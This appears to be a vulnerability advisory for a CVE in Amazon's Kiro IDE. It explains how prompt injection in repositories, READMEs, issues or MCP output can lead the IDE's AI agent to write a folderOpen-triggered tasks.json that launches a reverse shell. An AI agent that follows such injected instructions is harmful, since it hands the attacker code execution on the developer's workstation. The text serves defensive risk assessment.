Amazon Kiro IDE CVE-2026-10591

Exploitation requires (1) the victim to be running Kiro IDE before version 0.11 with the agent's file write tool enabled, (2) attacker-controlled content to reach that tool - typically via a crafted repository, prompt-injection payload in indexed/untrusted content, or an MCP/tool response the agent is induced to act on, and (3) the user to open or reopen the affected workspace folder (CVSS UI:A), which triggers the planted .vscode/tasks.json (or equivalent execution-sensitive path) on folderOpen. Limiting factors: no special OS privileges are needed (PR:N) and no network services need to be exposed, but the attack does not fire without the workspace-open user action and depends on Kiro's VS Code-derived task-runner behavior honoring runOn:folderOpen; environments that never open untrusted folders in Kiro are not realistically reachable.

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H is consistent with the described attack: remote, low complexity, no privileges, but requires the user to open (or reopen) the poisoned folder - captured by UI:A (Active user interaction). Real-world risk hinges on how attacker content reaches the file write tool: in agentic IDEs this typically happens via prompt injection from untrusted repos, READMEs, issue text, or MCP tool output, which is a realistic and increasingly observed delivery path. No EPSS score, KEV listing, SSVC decision, or public PoC was provided, so exploitation is unconfirmed; however, the low complexity, the prevalence of similar 'tasks.json on folderOpen' abuse patterns against VS Code-family IDEs, and the AI-agent attack surface make this a credible prioritization target for any team running Kiro. There is no conflict between signals, but the absence of EPSS/KEV/PoC data means severity rests primarily on CVSS and the qualitative attack-pattern fit.

An attacker publishes a repository (or a prompt-injection payload in a README, issue, or MCP-served document) that instructs the Kiro agent to create or modify .vscode/tasks.json with a task whose runOptions.runOn is 'folderOpen' and whose command launches a reverse shell or downloader. The developer accepts the agent's edits and reopens the folder - or simply reloads the window - at which point the malicious task executes under the developer's user account, yielding code execution on the workstation. No public PoC has been identified, but the technique mirrors well-documented VS Code tasks.json auto-run abuse.